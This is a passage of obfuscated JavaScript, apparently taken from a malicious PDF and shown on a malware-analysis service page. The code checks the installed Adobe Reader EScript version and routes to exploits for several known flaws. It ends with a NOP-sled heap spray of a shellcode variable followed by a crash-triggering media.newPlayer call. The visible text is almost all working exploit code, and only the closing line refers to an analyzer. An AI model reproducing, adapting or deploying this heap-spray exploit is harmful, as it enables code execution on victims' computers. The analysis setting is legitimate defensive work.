i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.